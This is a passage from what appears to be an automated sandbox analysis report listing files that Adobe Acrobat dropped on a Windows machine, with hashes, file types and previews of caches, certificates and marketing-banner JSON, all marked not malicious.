SSDEEP:	384:yeaci5GGiBA7vEmzKNURFXoD1NC1SK0gkzPlrFzqFK/WY+lUTTcKqZ5bEmzVz:1OurVgazUpUTTGt
MD5:	88CACB9BAE765C16D60358A349D1A7B9
SHA1:	206272E6FBE45A9474A99B48FD2123968B90BB38
SHA-256:	355C4178922536A05CEBF3314ACEE939E5F6107524D8392A1F24E151647D54C1
SHA-512:	2E96C45BE08E3C0D486A8A8DEFB697B9DF97C8157F6238C3B8691B731BDE2F17236C360FC199ECA0C49717B538A2A0617E8312B78B7CA6A8D424A2D8FF5D64EF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.77720792223578
Encrypted:	false
SSDEEP:	48:7M5p/E2ioyVaioy3DoWoy1CABoy1mKOioy1noy1AYoy1Wioy1hioybioy8oy1noS:7qpjua0iAyXKQ9Ub9IVXEBodRBks
MD5:	0E8A90B8F69472738B27C2FBFA59DD81
SHA1:	E7B581CCCD18055BBA78BA594CF6D80C40CEDEE7
SHA-256:	66EAAA31D384F315CCF49D5B1B59A69315F3FC7D5553A4D9BBAAD6F560F7566A
SHA-512:	545360EADB01BCE242DAA5BD30EF382D9699B12F4A7C65CA312EE2FD591CC514532987522E5F95FF2076793419F1C1A99280BF4AD22B2988AA922A3EC80073CC
Malicious:	false
Preview:	.... .c.......L...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.750416612246742
Encrypted:	false
SSDEEP:	3:kkFklrKftvfllXlE/HT8k1HzlXNNX8RolJuRdxLlGB9lQRYwpDdt:kKZVQT88XNMa8RdWBwRd
MD5:	94803E159EEB409AFD3DD73E76BEFFCA
SHA1:	DC877BDD532CD2EFAEAD3E441AEABA5E0CCBB161
SHA-256:	274E8243621CD10797C67A506F5239EEC3CF424FDD998014B4B37A4FF9F490D4
SHA-512:	58082D87CE290BA9489370C00D9B228254C4A66E12C751CA89EF12DF1E513E1A8A0666D999C7154C6AEFD9B9972FB9441B544B5206EA6C34943A427E923254F0
Malicious:	false
Preview:	p...... ........X/.y7U..(....................................................... ..........W...................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.247897867253901
Encrypted:	false
SSDEEP:	6:kK/9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:2DImsLNkPlE99SNxAhUe/3
MD5:	A5AB5CF305B4D51BD7BF6DC3E1886076
SHA1:	7B11FF9382A8C25B2346A192754254C735C86C62
SHA-256:	537190E903912577572931D12DF7D3997FAF8B4F9B983A2009B3DDA6E89F79A0
SHA-512:	057A9572BAD2856466D0F1CA01F4CA49BB74FF424759078A203B089BA600CE0E5F40178ABC73564E43036AD5542323BC2B0AFF81E5098BA6EA7D3BD5315FD189
Malicious:	false
Preview:	p...... ...........z7U..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.372007030036697
Encrypted:	false
SSDEEP:	6:YEQXJ2HXtQs6Pi14WsGiIPEeOF0YMjUoAvJM3g98kUwPeUkwRe9:YvXKXtjL1bsdTeOsDGMbLUkee9
MD5:	073A36221CADA8A60D3A0C40A202A98D
SHA1:	87C01F66744048678CFF96F0165FB456C1D6901F
SHA-256:	B4D331322CB5EC13A71A7F7A0AE4F321CA3B2BE5D306D9EC1ADBAA0157BBCA2B
SHA-512:	B3ADD515144667ADF4C31122227872D8E02F80187CE6AAA40C4F94E8ED77F71DB783EA7994863398376D36E4537351B1F6E51AED42464D59B2FD29B1DAB15987
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"36c4d023-bac6-420c-b36a-3468eb0e7b8d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1735130869535,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.3087400722597025
Encrypted:	false
SSDEEP:	6:YEQXJ2HXtQs6Pi14WsGiIPEeOF0YMjUoAvJfBoTfXpnrPeUkwRe9:YvXKXtjL1bsdTeOsDGWTfXcUkee9
MD5:	20F5D8A940A3622C32E1FA543AB7B1A7
SHA1:	055072A243A6BF9011C078B0FA164630404FC7C1
SHA-256:	08EBA7D515295453E2BD1C08E3DFE2F7B9068FDBBDCA36EC4D37D7F8A22112E4
SHA-512:	99A81C9A7458D396DABEF0BE08AECC491BBF27306E966200B4C3D73C93BE130DA81940B7971B441A1991140CD31D4D215D8770ED97A80C1852FE25E3C9ED96F6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"36c4d023-bac6-420c-b36a-3468eb0e7b8d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1735130869535,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.28687898700497
Encrypted:	false
SSDEEP:	6:YEQXJ2HXtQs6Pi14WsGiIPEeOF0YMjUoAvJfBD2G6UpnrPeUkwRe9:YvXKXtjL1bsdTeOsDGR22cUkee9
MD5:	B9329EC3182C1B6411CB4685DEEA4B33
SHA1:	C9402A5EEE31772AC6B7FF3CC8C6233A9AC4FA17
SHA-256:	A1992C0B20D92EEEFE63543349E3251848CC6590D7382642BF805E3EBDAF5265
SHA-512:	4E184C209A2AE95B340B6B29C740B373DF0ED6BB389D740D140B8E4E3C02C5B248DCDA4B5441E334C58CE4BCB24F2DFAC173F2A98FAACDAA674E1167A0686913
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"36c4d023-bac6-420c-b36a-3468eb0e7b8d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1735130869535,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.359188618936057
Encrypted:	false
SSDEEP:	6:YEQXJ2HXtQs6Pi14WsGiIPEeOF0YMjUoAvJfPmwrPeUkwRe9:YvXKXtjL1bsdTeOsDGH56Ukee9
MD5:	B947C16C692A73DD9FCC0A854BE0D6D9
SHA1:	F31B564483377559E3AB734F2D15B8CC61129812
SHA-256:	8F8003C0B6FF9F89EE8BB9DD1841131A482BB0559453D9AD3013F35427C3716B
SHA-512:	969732436F0682B01EB906483EA1A2063D523DA87371AC6D60A5AE40CDC1F537E1B14121215CC58AEB83545DBEFFDA34B23B24DEAAB239EBBDF3B09FC3CFA153
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"36c4d023-bac6-420c-b36a-3468eb0e7b8d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1735130869535,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.683556193057035
Encrypted:	false
SSDEEP:	24:Yv6XtjdmeOsYpLgE9cQx8LennAvzBvkn0RCmK8czOCCSGr:YvHeWhgy6SAFv5Ah8cv/s
MD5:	8A8720C46DEF4CFAEA983CB2FDFFF230
SHA1:	A7CDC583F9F0F5C7101C20DD8A27D7B090D952E3
SHA-256:	3BB31C699268C23ED3BF7A032A7FBF857F9A17E5C1656663CF1FD66260CCB516
SHA-512:	41CCE2C42441F72BB9290709FEFE4FE6894FEDFC0CFAD61209FB51803703DC518E3A56AF5A85DAB67E6F1E20EC1D282327E1E89FE6C4D783EF7C120C62D73E13
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"36c4d023-bac6-420c-b36a-3468eb0e7b8d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1735130869535,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.294176939637967
Encrypted:	false
SSDEEP:	6:YEQXJ2HXtQs6Pi14WsGiIPEeOF0YMjUoAvJf8dPeUkwRe9:YvXKXtjL1bsdTeOsDGU8Ukee9
MD5:	4784338E2E7A5DC842A5358A697F309F
SHA1:	D4353DDE43AE9EBD6E0715BC07F46E0CCB1607EB
SHA-256:	814FC1E376BB977292131153F2006286D8531C9F9D3BCD5A38FA61AC4F317782
SHA-512:	EE4D292E6E677EF014B75B8C4CF7FF09584E06BAC3276EAECA4F345D2053584CB6DD4D5C0CA7F209B29798E91AB77E033B90DBEC8E511EF772B82BF3168D090F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"36c4d023-bac6-420c-b36a-3468eb0e7b8d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1735130869535,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.298137401224926
Encrypted:	false
SSDEEP:	6:YEQXJ2HXtQs6Pi14WsGiIPEeOF0YMjUoAvJfQ1rPeUkwRe9:YvXKXtjL1bsdTeOsDGY16Ukee9
MD5:	94C710A90715A0ACC046B1D9DB430DEC
SHA1:	40C3197C1CCE7AA025BF44A865BC72836B2518A0
SHA-256:	40A4F6C248ABB9A727A79A8AEFF206ECCE1F6752D34B924091BFF6D2D43F3FD0
SHA-512:	F11B0D46918F06997E7BD1FD2E223F167E3388667E3281DF03B38D012D47EB45965977BD6EAF31ADC6369C8F7CD9A73C7D99ADCDB38FD4ADDCC50E02A939C308
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"36c4d023-bac6-420c-b36a-3468eb0e7b8d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1735130869535,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.3140925922665
Encrypted:	false
SSDEEP:	6:YEQXJ2HXtQs6Pi14WsGiIPEeOF0YMjUoAvJfFldPeUkwRe9:YvXKXtjL1bsdTeOsDGz8Ukee9
MD5:	060A6721B8163F6AB3078577AACA30D7
SHA1:	D0E82FE1AE65B7F758B8833A3D6D73A2DFB2F6CC
SHA-256:	3464D63E8B0A74349B7475A9C26BF47535E34EFDF375B76F393D2737C2213431
SHA-512:	DCCDA5092477D75F839D191F95AB2D354B4E5B601D903CFB1B9E9CFBF676DF3CFADB26225C02C8D4A70807A39741E1D55023063BB557416EC225FB74055EFA18
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"36c4d023-bac6-420c-b36a-3468eb0e7b8d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1735130869535,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.320872634599077
Encrypted:	false
SSDEEP:	6:YEQXJ2HXtQs6Pi14WsGiIPEeOF0YMjUoAvJfzdPeUkwRe9:YvXKXtjL1bsdTeOsDGb8Ukee9
MD5:	EE7B575754CC51FFBD4D06DCEF25C781
SHA1:	6DD313024432C736154E262520797BAB43D4E71E
SHA-256:	FD830F049FFA033621ADAFEDAC0F5499BD0A54AFC1ED8BA98405AA0282880148
SHA-512:	4E31114B4F3D8107F620D13FB7C23C16CEED6A224C83F2F5619C3E674DA7BCCC4393D0B3587D1122CBDB55A3AEF50A2870424A52217AD9A8F9388279F62A6A35
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"36c4d023-bac6-420c-b36a-3468eb0e7b8d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1735130869535,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.301547706376511
Encrypted:	false
SSDEEP:	6:YEQXJ2HXtQs6Pi14WsGiIPEeOF0YMjUoAvJfYdPeUkwRe9:YvXKXtjL1bsdTeOsDGg8Ukee9
MD5:	92AE0C5ADA47793FBDF52140FC97D765
SHA1:	6AB5A68CBF3D243B2848C72422F247B746093023
SHA-256:	5E97EACDF8DE1597A583D7D9DA06C1186F414C0BA0A8B1324B426B38AE1DDEFD
SHA-512:	BCDD23142D826EB8763931DDC97B58368EB57FE4400FF6A88F1C712A1F55DC7AAF7998AADE2F657C35BF206370D5E4CDC20A876B740074B606E4BD6719F36E76
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"36c4d023-bac6-420c-b36a-3468eb0e7b8d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1735130869535,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.2879243184787255
Encrypted:	false
SSDEEP:	6:YEQXJ2HXtQs6Pi14WsGiIPEeOF0YMjUoAvJf+dPeUkwRe9:YvXKXtjL1bsdTeOsDG28Ukee9
MD5:	6D777DCEC0AACBA87F16790A28327475
SHA1:	F90B54A8145D310E3115C7FC0DB85CA9C753532A
SHA-256:	AF24A7FEB133C04D332EE4A5021AC02FB87EB42D029C173D570076C057E7E021
SHA-512:	410C57EEC6D5BCE7F9E62504504E84048426F2074D8A783A99A3EC835241B665B89C529A57FD129F65E774ACDB8DDC9C88C32E10147B5B81A8DFA8830D371AC8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"36c4d023-bac6-420c-b36a-3468eb0e7b8d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1735130869535,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.285084166893148
Encrypted:	false
SSDEEP:	6:YEQXJ2HXtQs6Pi14WsGiIPEeOF0YMjUoAvJfbPtdPeUkwRe9:YvXKXtjL1bsdTeOsDGDV8Ukee9
MD5:	B8D7E28F1CC69C37E60325E64D1777A8
SHA1:	64A3C5836148896E5873925BA1CE5A5CD156399C
SHA-256:	BB2D40E98C907552976C8EB0BCF8E5FB15E52D254F03D00E27B9C9A2E7FED0B7
SHA-512:	BE31B0FC775683A095A8106BA2D0A96F2938FC27101D7AAA87A26E23BE99811404E70FBC4E7E4739D28EEE71A99FC91CE324C42425820AEEEB5A37FCF129F695
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"36c4d023-bac6-420c-b36a-3468eb0e7b8d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1735130869535,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.289757042096889
Encrypted:	false
SSDEEP:	6:YEQXJ2HXtQs6Pi14WsGiIPEeOF0YMjUoAvJf21rPeUkwRe9:YvXKXtjL1bsdTeOsDG+16Ukee9
MD5:	202140D01B77868ABAFF2914E91F2BBD
SHA1:	DD78D946B6E2587614CCFA6795D8F816B0235BDA
SHA-256:	7C93F76E77378C85298CEF81B6457D39612EA05C40F908B4BFB5DB4E5A27027F
SHA-512:	D3076F53A8CED49C558F792D6B826E150B3A9D605AA610F3EDFDC580851657A793CFC6335E0D9EF401509D09BB5B2F405B515D635A56626A4CD51370ED7D9906
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"36c4d023-bac6-420c-b36a-3468eb0e7b8d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1735130869535,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.6572598014319
Encrypted:	false
SSDEEP:	24:Yv6XtjdmeOssamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSGr:YvHeEBgkDMUJUAh8cvMs
MD5:	E079811D4C9A92646C12A9FE53D2AA25
SHA1:	13ABDE01AE91594A0D3D5F0A427FD87F1CB080D1
SHA-256:	1213DF95BAF659A81699F20E89C1A6529E52E0AA4BB9A38FFC9F5FFE502A8B10
SHA-512:	039247BA0CCC8481929C08847A7F81B046E8B5AC69245D2CCC4DD2DEFA91A873EF813ED09EC4B246FD359F43C27DE4C4C8F15A5D13295E9B4041186BBB658753
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"36c4d023-bac6-420c-b36a-3468eb0e7b8d","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1735130869535,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.265403837349398
Encrypted:	false
SSDEEP:	6:YEQXJ2HXtQs6Pi14WsGiIPEeOF0YMjUoAvJfshHHrPeUkwRe9:YvXKXtjL1bsdTeOsDGUUUkee9
MD5:	40F78B2A8D07B50F4530CB79E709ED25
SHA1:	C2C1C1A2CE63BE5025B51B592B480CEA7C63922A
SHA-256:	2A3B0F507870FB89A108413C7CF31EA526C87A308A5CB6C12C19538FA6AD29CA
SHA-512:	E38443E8C57B8CF407A2FD6AA262020BB47F169D99DDE657BB49EE5353453BB34C79A14D558F2DBEE8BE4F18D03821A999559B30670DDC81A8CE55489B3FCCF1
Malicious:	false
